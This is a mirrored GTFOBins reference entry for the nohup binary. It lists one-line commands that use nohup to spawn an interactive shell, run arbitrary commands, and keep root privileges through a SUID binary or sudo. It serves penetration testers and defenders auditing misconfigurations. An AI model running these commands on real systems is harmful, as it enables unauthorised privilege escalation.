1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/nohup.md
2021-01-18 09:36:35 +02:00

336 B

functions
shell command suid sudo
code
nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
code
COMMAND='/usr/bin/id' nohup "$COMMAND" cat nohup.out
code
./nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
code
sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"